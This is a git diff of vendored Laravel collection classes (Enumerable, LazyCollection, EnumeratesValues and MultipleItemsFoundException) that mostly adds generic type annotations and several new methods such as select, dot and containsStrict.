pluck($value, $key = null); /** * Create a collection of all elements that do not pass a given truth test. * - * @param callable|mixed $callback + * @param (callable(TValue, TKey): bool)|bool|TValue $callback * @return static */ public function reject($callback = true); + /** + * Convert a flatten "dot" notation array into an expanded array. + * + * @return static + */ + public function undot(); + /** * Return only unique items from the collection array. * - * @param string|callable|null $key + * @param (callable(TValue, TKey): mixed)|string|null $key * @param bool $strict * @return static */ @@ -953,7 +1133,7 @@ public function unique($key = null, $strict = false); /** * Return only unique items from the collection array using strict comparison. * - * @param string|callable|null $key + * @param (callable(TValue, TKey): mixed)|string|null $key * @return static */ public function uniqueStrict($key = null); @@ -961,26 +1141,42 @@ public function uniqueStrict($key = null); /** * Reset the keys on the underlying array. * - * @return static + * @return static */ public function values(); /** * Pad collection to the specified length with a value. * + * @template TPadValue + * * @param int $size - * @param mixed $value - * @return static + * @param TPadValue $value + * @return static */ public function pad($size, $value); /** - * Count the number of items in the collection using a given truth test. + * Get the values iterator. * - * @param callable|null $callback - * @return static + * @return \Traversable */ - public function countBy($callback = null); + public function getIterator(): Traversable; + + /** + * Count the number of items in the collection. + * + * @return int + */ + public function count(): int; + + /** + * Count the number of items in the collection by a field or using a callback. + * + * @param (callable(TValue, TKey): array-key)|string|null $countBy + * @return static + */ + public function countBy($countBy = null); /** * Zip the collection together with one or more arrays. @@ -988,18 +1184,50 @@ public function countBy($callback = null); * e.g. new Collection([1, 2, 3])->zip([4, 5, 6]); * => [[1, 4], [2, 5], [3, 6]] * - * @param mixed ...$items - * @return static + * @template TZipValue + * + * @param \Illuminate\Contracts\Support\Arrayable|iterable ...$items + * @return static> */ public function zip($items); /** * Collect the values into a collection. * - * @return \Illuminate\Support\Collection + * @return \Illuminate\Support\Collection */ public function collect(); + /** + * Get the collection of items as a plain array. + * + * @return array + */ + public function toArray(); + + /** + * Convert the object into something JSON serializable. + * + * @return mixed + */ + public function jsonSerialize(): mixed; + + /** + * Get the collection of items as JSON. + * + * @param int $options + * @return string + */ + public function toJson($options = 0); + + /** + * Get a CachingIterator instance. + * + * @param int $flags + * @return \CachingIterator + */ + public function getCachingIterator($flags = CachingIterator::CALL_TOSTRING); + /** * Convert the collection to its string representation. * @@ -1007,6 +1235,14 @@ public function collect(); */ public function __toString(); + /** + * Indicate that the model's string representation should be escaped when __toString is invoked. + * + * @param bool $escape + * @return $this + */ + public function escapeWhenCastingToString($escape = true); + /** * Add a method to the list of proxied methods. * diff --git a/vendor/illuminate/collections/HigherOrderWhenProxy.php b/vendor/illuminate/collections/HigherOrderWhenProxy.php deleted file mode 100644 index 6653c03a6..000000000 --- a/vendor/illuminate/collections/HigherOrderWhenProxy.php +++ /dev/null @@ -1,63 +0,0 @@ -condition = $condition; - $this->collection = $collection; - } - - /** - * Proxy accessing an attribute onto the collection. - * - * @param string $key - * @return mixed - */ - public function __get($key) - { - return $this->condition - ? $this->collection->{$key} - : $this->collection; - } - - /** - * Proxy a method call onto the collection. - * - * @param string $method - * @param array $parameters - * @return mixed - */ - public function __call($method, $parameters) - { - return $this->condition - ? $this->collection->{$method}(...$parameters) - : $this->collection; - } -} diff --git a/vendor/illuminate/collections/LazyCollection.php b/vendor/illuminate/collections/LazyCollection.php index e1cdcd99d..84b22ebf9 100644 --- a/vendor/illuminate/collections/LazyCollection.php +++ b/vendor/illuminate/collections/LazyCollection.php @@ -5,27 +5,40 @@ use ArrayIterator; use Closure; use DateTimeInterface; +use Generator; use Illuminate\Contracts\Support\CanBeEscapedWhenCastToString; use Illuminate\Support\Traits\EnumeratesValues; use Illuminate\Support\Traits\Macroable; +use InvalidArgumentException; use IteratorAggregate; use stdClass; - +use Traversable; + +/** + * @template TKey of array-key + * + * @template-covariant TValue + * + * @implements \Illuminate\Support\Enumerable + */ class LazyCollection implements CanBeEscapedWhenCastToString, Enumerable { + /** + * @use \Illuminate\Support\Traits\EnumeratesValues + */ use EnumeratesValues, Macroable; /** * The source from which to generate items. * - * @var callable|static + * @var (Closure(): \Generator)|static|array */ public $source; /** * Create a new lazy collection instance. * - * @param mixed $source + * @param \Illuminate\Contracts\Support\Arrayable|iterable|(Closure(): \Generator)|self|array|null $source * @return void */ public function __construct($source = null) @@ -34,17 +47,35 @@ public function __construct($source = null) $this->source = $source; } elseif (is_null($source)) { $this->source = static::empty(); + } elseif ($source instanceof Generator) { + throw new InvalidArgumentException( + 'Generators should not be passed directly to LazyCollection. Instead, pass a generator function.' + ); } else { $this->source = $this->getArrayableItems($source); } } + /** + * Create a new collection instance if the value isn't one already. + * + * @template TMakeKey of array-key + * @template TMakeValue + * + * @param \Illuminate\Contracts\Support\Arrayable|iterable|(Closure(): \Generator)|self|array|null $items + * @return static + */ + public static function make($items = []) + { + return new static($items); + } + /** * Create a collection with the given range. * * @param int $from * @param int $to - * @return static + * @return static */ public static function range($from, $to) { @@ -64,7 +95,7 @@ public static function range($from, $to) /** * Get all items in the enumerable. * - * @return array + * @return array */ public function all() { @@ -126,8 +157,8 @@ public function remember() /** * Get the average value of a given key. * - * @param callable|string|null $callback - * @return mixed + * @param (callable(TValue): float|int)|string|null $callback + * @return float|int|null */ public function avg($callback = null) { @@ -137,8 +168,8 @@ public function avg($callback = null) /** * Get the median of a given key. * - * @param string|array|null $key - * @return mixed + * @param string|array|null $key + * @return float|int|null */ public function median($key = null) { @@ -148,8 +179,8 @@ public function median($key = null) /** * Get the mode of a given key. * - * @param string|array|null $key - * @return array|null + * @param string|array|null $key + * @return array|null */ public function mode($key = null) { @@ -159,7 +190,7 @@ public function mode($key = null) /** * Collapse the collection of items into a single array. * - * @return static + * @return static */ public function collapse() { @@ -177,7 +208,7 @@ public function collapse() /** * Determine if an item exists in the enumerable. * - * @param mixed $key + * @param (callable(TValue, TKey): bool)|TValue|string $key * @param mixed $operator * @param mixed $value * @return bool @@ -187,6 +218,7 @@ public function contains($key, $operator = null, $value = null) if (func_num_args() === 1 && $this->useAsCallable($key)) { $placeholder = new stdClass; + /** @var callable $key */ return $this->first($key, $placeholder) !== $placeholder; } @@ -205,6 +237,32 @@ public function contains($key, $operator = null, $value = null) return $this->contains($this->operatorForWhere(...func_get_args())); } + /** + * Determine if an item exists, using strict comparison. + * + * @param (callable(TValue): bool)|TValue|array-key $key + * @param TValue|null $value + * @return bool + */ + public function containsStrict($key, $value = null) + { + if (func_num_args() === 2) { + return $this->contains(fn ($item) => data_get($item, $key) === $value); + } + + if ($this->useAsCallable($key)) { + return ! is_null($this->first($key)); + } + + foreach ($this as $item) { + if ($item === $key) { + return true; + } + } + + return false; + } + /** * Determine if an item is not contained in the enumerable. * @@ -221,8 +279,11 @@ public function doesntContain($key, $operator = null, $value = null) /** * Cross join the given iterables, returning all possible permutations. * - * @param array ...$arrays - * @return static + * @template TCrossJoinKey + * @template TCrossJoinValue + * + * @param \Illuminate\Contracts\Support\Arrayable|iterable ...$arrays + * @return static> */ public function crossJoin(...$arrays) { @@ -232,8 +293,8 @@ public function crossJoin(...$arrays) /** * Count the number of items in the collection by a field or using a callback. * - * @param callable|string $countBy - * @return static + * @param (callable(TValue, TKey): array-key)|string|null $countBy + * @return static */ public function countBy($countBy = null) { @@ -261,7 +322,7 @@ public function countBy($countBy = null) /** * Get the items that are not present in the given items. * - * @param mixed $items + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items * @return static */ public function diff($items) @@ -272,8 +333,8 @@ public function diff($items) /** * Get the items that are not present in the given items, using the callback. * - * @param mixed $items - * @param callable $callback + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items + * @param callable(TValue, TValue): int $callback * @return static */ public function diffUsing($items, callable $callback) @@ -284,7 +345,7 @@ public function diffUsing($items, callable $callback) /** * Get the items whose keys and values are not present in the given items. * - * @param mixed $items + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items * @return static */ public function diffAssoc($items) @@ -295,8 +356,8 @@ public function diffAssoc($items) /** * Get the items whose keys and values are not present in the given items, using the callback. * - * @param mixed $items - * @param callable $callback + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items + * @param callable(TKey, TKey): int $callback * @return static */ public function diffAssocUsing($items, callable $callback) @@ -307,7 +368,7 @@ public function diffAssocUsing($items, callable $callback) /** * Get the items whose keys are not present in the given items. * - * @param mixed $items + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items * @return static */ public function diffKeys($items) @@ -318,8 +379,8 @@ public function diffKeys($items) /** * Get the items whose keys are not present in the given items, using the callback. * - * @param mixed $items - * @param callable $callback + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items + * @param callable(TKey, TKey): int $callback * @return static */ public function diffKeysUsing($items, callable $callback) @@ -330,7 +391,7 @@ public function diffKeysUsing($items, callable $callback) /** * Retrieve duplicate items. * - * @param callable|string|null $callback + * @param (callable(TValue): bool)|string|null $callback * @param bool $strict * @return static */ @@ -342,7 +403,7 @@ public function duplicates($callback = null, $strict = false) /** * Retrieve duplicate items using strict comparison. * - * @param callable|string|null $callback + * @param (callable(TValue): bool)|string|null $callback * @return static */ public function duplicatesStrict($callback = null) @@ -353,7 +414,7 @@ public function duplicatesStrict($callback = null) /** * Get all items except for those with the specified keys. * - * @param mixed $keys + * @param \Illuminate\Support\Enumerable|array $keys * @return static */ public function except($keys) @@ -364,15 +425,13 @@ public function except($keys) /** * Run a filter over each of the items. * - * @param callable|null $callback + * @param (callable(TValue, TKey): bool)|null $callback * @return static */ public function filter(callable $callback = null) { if (is_null($callback)) { - $callback = function ($value) { - return (bool) $value; - }; + $callback = fn ($value) => (bool) $value; } return new static(function () use ($callback) { @@ -387,9 +446,11 @@ public function filter(callable $callback = null) /** * Get the first item from the enumerable passing the given truth test. * - * @param callable|null $callback - * @param mixed $default - * @return mixed + * @template TFirstDefault + * + * @param (callable(TValue): bool)|null $callback + * @param TFirstDefault|(\Closure(): TFirstDefault) $default + * @return TValue|TFirstDefault */ public function first(callable $callback = null, $default = null) { @@ -416,7 +477,7 @@ public function first(callable $callback = null, $default = null) * Get a flattened list of the items in the collection. * * @param int $depth - * @return static + * @return static */ public function flatten($depth = INF) { @@ -438,7 +499,7 @@ public function flatten($depth = INF) /** * Flip the items in the collection. * - * @return static + * @return static */ public function flip() { @@ -452,9 +513,11 @@ public function flip() /** * Get an item by key. * - * @param mixed $key - * @param mixed $default - * @return mixed + * @template TGetDefault + * + * @param TKey|null $key + * @param TGetDefault|(\Closure(): TGetDefault) $default + * @return TValue|TGetDefault */ public function get($key, $default = null) { @@ -474,9 +537,9 @@ public function get($key, $default = null) /** * Group an associative array by a field or using a callback. * - * @param array|callable|string $groupBy + * @param (callable(TValue, TKey): array-key)|array|string $groupBy * @param bool $preserveKeys - * @return static + * @return static> */ public function groupBy($groupBy, $preserveKeys = false) { @@ -486,8 +549,8 @@ public function groupBy($groupBy, $preserveKeys = false) /** * Key an associative array by a field or using a callback. * - * @param callable|string $keyBy - * @return static + * @param (callable(TValue, TKey): array-key)|array|string $keyBy + * @return static */ public function keyBy($keyBy) { @@ -548,7 +611,7 @@ public function hasAny($key) /** * Concatenate values of a given key as a string. * - * @param string $value + * @param callable|string $value * @param string|null $glue * @return string */ @@ -560,7 +623,7 @@ public function implode($value, $glue = null) /** * Intersect the collection with the given items. * - * @param mixed $items + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items * @return static */ public function intersect($items) @@ -568,10 +631,45 @@ public function intersect($items) return $this->passthru('intersect', func_get_args()); } + /** + * Intersect the collection with the given items, using the callback. + * + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items + * @param callable(TValue, TValue): int $callback + * @return static + */ + public function intersectUsing() + { + return $this->passthru('intersectUsing', func_get_args()); + } + + /** + * Intersect the collection with the given items with additional index check. + * + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items + * @return static + */ + public function intersectAssoc($items) + { + return $this->passthru('intersectAssoc', func_get_args()); + } + + /** + * Intersect the collection with the given items with additional index check, using the callback. + * + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items + * @param callable(TValue, TValue): int $callback + * @return static + */ + public function intersectAssocUsing($items, callable $callback) + { + return $this->passthru('intersectAssocUsing', func_get_args()); + } + /** * Intersect the collection with the given items by key. * - * @param mixed $items + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items * @return static */ public function intersectByKeys($items) @@ -614,7 +712,7 @@ public function join($glue, $finalGlue = '') /** * Get the keys of the collection items. * - * @return static + * @return static */ public function keys() { @@ -628,9 +726,11 @@ public function keys() /** * Get the last item from the collection. * - * @param callable|null $callback - * @param mixed $default - * @return mixed + * @template TLastDefault + * + * @param (callable(TValue, TKey): bool)|null $callback + * @param TLastDefault|(\Closure(): TLastDefault) $default + * @return TValue|TLastDefault */ public function last(callable $callback = null, $default = null) { @@ -648,9 +748,9 @@ public function last(callable $callback = null, $default = null) /** * Get the values of a given key. * - * @param string|array $value + * @param string|array $value * @param string|null $key - * @return static + * @return static */ public function pluck($value, $key = null) { @@ -678,8 +778,10 @@ public function pluck($value, $key = null) /** * Run a map over each of the items. * - * @param callable $callback - * @return static + * @template TMapValue + * + * @param callable(TValue, TKey): TMapValue $callback + * @return static */ public function map(callable $callback) { @@ -695,8 +797,11 @@ public function map(callable $callback) * * The callback should return an associative array with a single key/value pair. * - * @param callable $callback - * @return static + * @template TMapToDictionaryKey of array-key + * @template TMapToDictionaryValue + * + * @param callable(TValue, TKey): array $callback + * @return static> */ public function mapToDictionary(callable $callback) { @@ -708,8 +813,11 @@ public function mapToDictionary(callable $callback) * * The callback should return an associative array with a single key/value pair. * - * @param callable $callback - * @return static + * @template TMapWithKeysKey of array-key + * @template TMapWithKeysValue + * + * @param callable(TValue, TKey): array $callback + * @return static */ public function mapWithKeys(callable $callback) { @@ -723,7 +831,7 @@ public function mapWithKeys(callable $callback) /** * Merge the collection with the given items. * - * @param mixed $items + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items * @return static */ public function merge($items) @@ -734,8 +842,10 @@ public function merge($items) /** * Recursively merge the collection with the given items. * - * @param mixed $items - * @return static + * @template TMergeRecursiveValue + * + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items + * @return static */ public function mergeRecursive($items) { @@ -745,8 +855,10 @@ public function mergeRecursive($items) /** * Create a collection by using this collection for keys and another for its values. * - * @param mixed $values - * @return static + * @template TCombineValue + * + * @param \IteratorAggregate|array|(callable(): \Generator) $values + * @return static */ public function combine($values) { @@ -776,7 +888,7 @@ public function combine($values) /** * Union the collection with the given items. * - * @param mixed $items + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items * @return static */ public function union($items) @@ -809,7 +921,7 @@ public function nth($step, $offset = 0) /** * Get the items with the specified keys. * - * @param mixed $keys + * @param \Illuminate\Support\Enumerable|array|string $keys * @return static */ public function only($keys) @@ -842,11 +954,49 @@ public function only($keys) } /** - * Push all of the given items onto the collection. + * Select specific values from the items within the collection. * - * @param iterable $source + * @param \Illuminate\Support\Enumerable|array|string $keys * @return static */ + public function select($keys) + { + if ($keys instanceof Enumerable) { + $keys = $keys->all(); + } elseif (! is_null($keys)) { + $keys = is_array($keys) ? $keys : func_get_args(); + } + + return new static(function () use ($keys) { + if (is_null($keys)) { + yield from $this; + } else { + foreach ($this as $item) { + $result = []; + + foreach ($keys as $key) { + if (Arr::accessible($item) && Arr::exists($item, $key)) { + $result[$key] = $item[$key]; + } elseif (is_object($item) && isset($item->{$key})) { + $result[$key] = $item->{$key}; + } + } + + yield $result; + } + } + }); + } + + /** + * Push all of the given items onto the collection. + * + * @template TConcatKey of array-key + * @template TConcatValue + * + * @param iterable $source + * @return static + */ public function concat($source) { return (new static(function () use ($source) { @@ -859,7 +1009,7 @@ public function concat($source) * Get one or a specified number of items randomly from the collection. * * @param int|null $number - * @return static|mixed + * @return static|TValue * * @throws \InvalidArgumentException */ @@ -873,7 +1023,7 @@ public function random($number = null) /** * Replace the collection items with the given items. * - * @param mixed $items + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items * @return static */ public function replace($items) @@ -900,7 +1050,7 @@ public function replace($items) /** * Recursively replace the collection items with the given items. * - * @param mixed $items + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items * @return static */ public function replaceRecursive($items) @@ -921,12 +1071,13 @@ public function reverse() /** * Search the collection for a given value and return the corresponding key if successful. * - * @param mixed $value + * @param TValue|(callable(TValue,TKey): bool) $value * @param bool $strict - * @return mixed + * @return TKey|false */ public function search($value, $strict = false) { + /** @var (callable(TValue,TKey): bool) $predicate */ $predicate = $this->useAsCallable($value) ? $value : function ($item) use ($value, $strict) { @@ -958,7 +1109,7 @@ public function shuffle($seed = null) * * @param int $size * @param int $step - * @return static + * @return static */ public function sliding($size = 2, $step = 1) { @@ -971,7 +1122,7 @@ public function sliding($size = 2, $step = 1) $chunk[$iterator->key()] = $iterator->current(); if (count($chunk) == $size) { - yield tap(new static($chunk), function () use (&$chunk, $step) { + yield (new static($chunk))->tap(function () use (&$chunk, $step) { $chunk = array_slice($chunk, $step, null, true); }); @@ -1018,7 +1169,7 @@ public function skip($count) /** * Skip items in the collection until the given condition is met. * - * @param mixed $value + * @param TValue|callable(TValue,TKey): bool $value * @return static */ public function skipUntil($value) @@ -1031,7 +1182,7 @@ public function skipUntil($value) /** * Skip items in the collection while the given condition is met. * - * @param mixed $value + * @param TValue|callable(TValue,TKey): bool $value * @return static */ public function skipWhile($value) @@ -1075,7 +1226,7 @@ public function slice($offset, $length = null) * Split a collection into a certain number of groups. * * @param int $numberOfGroups - * @return static + * @return static */ public function split($numberOfGroups) { @@ -1085,10 +1236,10 @@ public function split($numberOfGroups) /** * Get the first item in the collection, but only if exactly one item exists. Otherwise, throw an exception. * - * @param mixed $key + * @param (callable(TValue, TKey): bool)|string $key * @param mixed $operator * @param mixed $value - * @return mixed + * @return TValue * * @throws \Illuminate\Support\ItemNotFoundException * @throws \Illuminate\Support\MultipleItemsFoundException @@ -1100,7 +1251,7 @@ public function sole($key = null, $operator = null, $value = null) : $key; return $this - ->when($filter) + ->unless($filter == null) ->filter($filter) ->take(2) ->collect() @@ -1110,10 +1261,10 @@ public function sole($key = null, $operator = null, $value = null) /** * Get the first item in the collection but throw an exception if no matching items exist. * - * @param mixed $key + * @param (callable(TValue, TKey): bool)|string $key * @param mixed $operator * @param mixed $value - * @return mixed + * @return TValue * * @throws \Illuminate\Support\ItemNotFoundException */ @@ -1124,7 +1275,7 @@ public function firstOrFail($key = null, $operator = null, $value = null) : $key; return $this - ->when($filter) + ->unless($filter == null) ->filter($filter) ->take(1) ->collect() @@ -1135,7 +1286,7 @@ public function firstOrFail($key = null, $operator = null, $value = null) * Chunk the collection into chunks of the given size. * * @param int $size - * @return static + * @return static */ public function chunk($size) { @@ -1174,7 +1325,7 @@ public function chunk($size) * Split a collection into a certain number of groups, and fill the first groups completely. * * @param int $numberOfGroups - * @return static + * @return static */ public function splitIn($numberOfGroups) { @@ -1184,8 +1335,8 @@ public function splitIn($numberOfGroups) /** * Chunk the collection into chunks with a callback. * - * @param callable $callback - * @return static + * @param callable(TValue, TKey, Collection): bool $callback + * @return static> */ public function chunkWhile(callable $callback) { @@ -1221,7 +1372,7 @@ public function chunkWhile(callable $callback) /** * Sort through each item with a callback. * - * @param callable|null|int $callback + * @param (callable(TValue, TValue): int)|null|int $callback * @return static */ public function sort($callback = null) @@ -1243,7 +1394,7 @@ public function sortDesc($options = SORT_REGULAR) /** * Sort the collection using the given callback. * - * @param callable|string $callback + * @param array|(callable(TValue, TKey): mixed)|string $callback * @param int $options * @param bool $descending * @return static @@ -1256,7 +1407,7 @@ public function sortBy($callback, $options = SORT_REGULAR, $descending = false) /** * Sort the collection in descending order using the given callback. * - * @param callable|string $callback + * @param array|(callable(TValue, TKey): mixed)|string $callback * @param int $options * @return static */ @@ -1291,7 +1442,7 @@ public function sortKeysDesc($options = SORT_REGULAR) /** * Sort the collection keys using a callback. * - * @param callable $callback + * @param callable(TKey, TKey): int $callback * @return static */ public function sortKeysUsing(callable $callback) @@ -1308,7 +1459,21 @@ public function sortKeysUsing(callable $callback) public function take($limit) { if ($limit < 0) { - return $this->passthru('take', func_get_args()); + return new static(function () use ($limit) { + $limit = abs($limit); + $ringBuffer = []; + $position = 0; + + foreach ($this as $key => $value) { + $ringBuffer[$position] = [$key, $value]; + $position = ($position + 1) % $limit; + } + + for ($i = 0, $end = min($limit, count($ringBuffer)); $i < $end; $i++) { + $pointer = ($position + $i) % $limit; + yield $ringBuffer[$pointer][0] => $ringBuffer[$pointer][1]; + } + }); } return new static(function () use ($limit) { @@ -1331,11 +1496,12 @@ public function take($limit) /** * Take items in the collection until the given condition is met. * - * @param mixed $value + * @param TValue|callable(TValue,TKey): bool $value * @return static */ public function takeUntil($value) { + /** @var callable(TValue, TKey): bool $callback */ $callback = $this->useAsCallable($value) ? $value : $this->equality($value); return new static(function () use ($callback) { @@ -1359,30 +1525,39 @@ public function takeUntilTimeout(DateTimeInterface $timeout) { $timeout = $timeout->getTimestamp(); - return $this->takeWhile(function () use ($timeout) { - return $this->now() < $timeout; + return new static(function () use ($timeout) { + if ($this->now() >= $timeout) { + return; + } + + foreach ($this as $key => $value) { + yield $key => $value; + + if ($this->now() >= $timeout) { + break; + } + } }); } /** * Take items in the collection while the given condition is met. * - * @param mixed $value + * @param TValue|callable(TValue,TKey): bool $value * @return static */ public function takeWhile($value) { + /** @var callable(TValue, TKey): bool $callback */ $callback = $this->useAsCallable($value) ? $value : $this->equality($value); - return $this->takeUntil(function ($item, $key) use ($callback) { - return ! $callback($item, $key); - }); + return $this->takeUntil(fn ($item, $key) => ! $callback($item, $key)); } /** * Pass each item in the collection to the given callback, lazily. * - * @param callable $callback + * @param callable(TValue, TKey): mixed $callback * @return static */ public function tapEach(callable $callback) @@ -1396,6 +1571,16 @@ public function tapEach(callable $callback) }); } + /** + * Flatten a multi-dimensional associative array with dots. + * + * @return static + */ + public function dot() + { + return $this->passthru('dot', []); + } + /** * Convert a flatten "dot" notation array into an expanded array. * @@ -1409,7 +1594,7 @@ public function undot() /** * Return only unique items from the collection array. * - * @param string|callable|null $key + * @param (callable(TValue, TKey): mixed)|string|null $key * @param bool $strict * @return static */ @@ -1433,7 +1618,7 @@ public function unique($key = null, $strict = false) /** * Reset the keys on the underlying array. * - * @return static + * @return static */ public function values() { @@ -1450,8 +1635,10 @@ public function values() * e.g. new LazyCollection([1, 2, 3])->zip([4, 5, 6]); * => [[1, 4], [2, 5], [3, 6]] * - * @param mixed ...$items - * @return static + * @template TZipValue + * + * @param \Illuminate\Contracts\Support\Arrayable|iterable ...$items + * @return static> */ public function zip($items) { @@ -1473,9 +1660,11 @@ public function zip($items) /** * Pad collection to the specified length with a value. * + * @template TPadValue + * * @param int $size - * @param mixed $value - * @return static + * @param TPadValue $value + * @return static */ public function pad($size, $value) { @@ -1501,10 +1690,9 @@ public function pad($size, $value) /** * Get the values iterator. * - * @return \Traversable + * @return \Traversable */ - #[\ReturnTypeWillChange] - public function getIterator() + public function getIterator(): Traversable { return $this->makeIterator($this->source); } @@ -1514,8 +1702,7 @@ public function getIterator() * * @return int */ - #[\ReturnTypeWillChange] - public function count() + public function count(): int { if (is_array($this->source)) { return count($this->source); @@ -1527,8 +1714,11 @@ public function count() /** * Make an iterator from the given source. * - * @param mixed $source - * @return \Traversable + * @template TIteratorKey of array-key + * @template TIteratorValue + * + * @param \IteratorAggregate|array|(callable(): \Generator) $source + * @return \Traversable */ protected function makeIterator($source) { @@ -1540,15 +1730,23 @@ protected function makeIterator($source) return new ArrayIterator($source); } - return $source(); + if (is_callable($source)) { + $maybeTraversable = $source(); + + return $maybeTraversable instanceof Traversable + ? $maybeTraversable + : new ArrayIterator(Arr::wrap($maybeTraversable)); + } + + return new ArrayIterator((array) $source); } /** * Explode the "value" and "key" arguments passed to "pluck". * - * @param string|array $value - * @param string|array|null $key - * @return array + * @param string|string[] $value + * @param string|string[]|null $key + * @return array{string[],string[]|null} */ protected function explodePluckParameters($value, $key) { @@ -1563,7 +1761,7 @@ protected function explodePluckParameters($value, $key) * Pass this lazy collection through a method on the collection class. * * @param string $method - * @param array $params + * @param array $params * @return static */ protected function passthru($method, array $params) @@ -1580,6 +1778,8 @@ protected function passthru($method, array $params) */ protected function now() { - return time(); + return class_exists(Carbon::class) + ? Carbon::now()->timestamp + : time(); } } diff --git a/vendor/illuminate/collections/MultipleItemsFoundException.php b/vendor/illuminate/collections/MultipleItemsFoundException.php index 944b2dc64..d90d835b4 100644 --- a/vendor/illuminate/collections/MultipleItemsFoundException.php +++ b/vendor/illuminate/collections/MultipleItemsFoundException.php @@ -6,4 +6,35 @@ class MultipleItemsFoundException extends RuntimeException { + /** + * The number of items found. + * + * @var int + */ + public $count; + + /** + * Create a new exception instance. + * + * @param int $count + * @param int $code + * @param \Throwable|null $previous + * @return void + */ + public function __construct($count, $code = 0, $previous = null) + { + $this->count = $count; + + parent::__construct("$count items were found.", $code, $previous); + } + + /** + * Get the number of items found. + * + * @return int + */ + public function getCount() + { + return $this->count; + } } diff --git a/vendor/illuminate/collections/Traits/EnumeratesValues.php b/vendor/illuminate/collections/Traits/EnumeratesValues.php index 269d1a666..dd4d5ab29 100644 --- a/vendor/illuminate/collections/Traits/EnumeratesValues.php +++ b/vendor/illuminate/collections/Traits/EnumeratesValues.php @@ -11,14 +11,19 @@ use Illuminate\Support\Collection; use Illuminate\Support\Enumerable; use Illuminate\Support\HigherOrderCollectionProxy; -use Illuminate\Support\HigherOrderWhenProxy; +use InvalidArgumentException; use JsonSerializable; use Symfony\Component\VarDumper\VarDumper; use Traversable; use UnexpectedValueException; use UnitEnum; +use WeakMap; /** + * @template TKey of array-key + * + * @template-covariant TValue + * * @property-read HigherOrderCollectionProxy $average * @property-read HigherOrderCollectionProxy $avg * @property-read HigherOrderCollectionProxy $contains @@ -34,20 +39,25 @@ * @property-read HigherOrderCollectionProxy $max * @property-read HigherOrderCollectionProxy $min * @property-read HigherOrderCollectionProxy $partition + * @property-read HigherOrderCollectionProxy $percentage * @property-read HigherOrderCollectionProxy $reject + * @property-read HigherOrderCollectionProxy $skipUntil + * @property-read HigherOrderCollectionProxy $skipWhile * @property-read HigherOrderCollectionProxy $some * @property-read HigherOrderCollectionProxy $sortBy * @property-read HigherOrderCollectionProxy $sortByDesc - * @property-read HigherOrderCollectionProxy $skipUntil - * @property-read HigherOrderCollectionProxy $skipWhile * @property-read HigherOrderCollectionProxy $sum * @property-read HigherOrderCollectionProxy $takeUntil * @property-read HigherOrderCollectionProxy $takeWhile * @property-read HigherOrderCollectionProxy $unique + * @property-read HigherOrderCollectionProxy $unless * @property-read HigherOrderCollectionProxy $until + * @property-read HigherOrderCollectionProxy $when */ trait EnumeratesValues { + use Conditionable; + /** * Indicates that the object's string representation should be escaped when __toString is invoked. * @@ -58,7 +68,7 @@ trait EnumeratesValues /** * The methods that can be proxied. * - * @var string[] + * @var array */ protected static $proxies = [ 'average', @@ -76,6 +86,7 @@ trait EnumeratesValues 'max', 'min', 'partition', + 'percentage', 'reject', 'skipUntil', 'skipWhile', @@ -86,14 +97,19 @@ trait EnumeratesValues 'takeUntil', 'takeWhile', 'unique', + 'unless', 'until', + 'when', ]; /** * Create a new collection instance if the value isn't one already. * - * @param mixed $items - * @return static + * @template TMakeKey of array-key + * @template TMakeValue + * + * @param \Illuminate\Contracts\Support\Arrayable|iterable|null $items + * @return static */ public static function make($items = []) { @@ -103,8 +119,10 @@ public static function make($items = []) /** * Wrap the given value in a collection if applicable. * - * @param mixed $value - * @return static + * @template TWrapValue + * + * @param iterable|TWrapValue $value + * @return static */ public static function wrap($value) { @@ -116,8 +134,11 @@ public static function wrap($value) /** * Get the underlying items from the given collection if applicable. * - * @param array|static $value - * @return array + * @template TUnwrapKey of array-key + * @template TUnwrapValue + * + * @param array|static $value + * @return array */ public static function unwrap($value) { @@ -137,9 +158,11 @@ public static function empty() /** * Create a new collection by invoking the callback a given amount of times. * + * @template TTimesValue + * * @param int $number - * @param callable|null $callback - * @return static + * @param (callable(int): TTimesValue)|null $callback + * @return static */ public static function times($number, callable $callback = null) { @@ -148,15 +171,15 @@ public static function times($number, callable $callback = null) } return static::range(1, $number) - ->when($callback) + ->unless($callback == null) ->map($callback); } /** * Alias for the "avg" method. * - * @param callable|string|null $callback - * @return mixed + * @param (callable(TValue): float|int)|string|null $callback + * @return float|int|null */ public function average($callback = null) { @@ -166,7 +189,7 @@ public function average($callback = null) /** * Alias for the "contains" method. * - * @param mixed $key + * @param (callable(TValue, TKey): bool)|TValue|string $key * @param mixed $operator * @param mixed $value * @return bool @@ -176,39 +199,11 @@ public function some($key, $operator = null, $value = null) return $this->contains(...func_get_args()); } - /** - * Determine if an item exists, using strict comparison. - * - * @param mixed $key - * @param mixed $value - * @return bool - */ - public function containsStrict($key, $value = null) - { - if (func_num_args() === 2) { - return $this->contains(function ($item) use ($key, $value) { - return data_get($item, $key) === $value; - }); - } - - if ($this->useAsCallable($key)) { - return ! is_null($this->first($key)); - } - - foreach ($this as $item) { - if ($item === $key) { - return true; - } - } - - return false; - } - /** * Dump the items and end the script. * * @param mixed ...$args - * @return void + * @return never */ public function dd(...$args) { @@ -236,7 +231,7 @@ public function dump() /** * Execute a callback over each item. * - * @param callable $callback + * @param callable(TValue, TKey): mixed $callback * @return $this */ public function each(callable $callback) @@ -253,7 +248,7 @@ public function each(callable $callback) /** * Execute a callback over each nested chunk of items. * - * @param callable $callback + * @param callable(...mixed): mixed $callback * @return static */ public function eachSpread(callable $callback) @@ -268,7 +263,7 @@ public function eachSpread(callable $callback) /** * Determine if all items pass the given truth test. * - * @param string|callable $key + * @param (callable(TValue, TKey): bool)|TValue|string $key * @param mixed $operator * @param mixed $value * @return bool @@ -293,16 +288,63 @@ public function every($key, $operator = null, $value = null) /** * Get the first item by the given key value 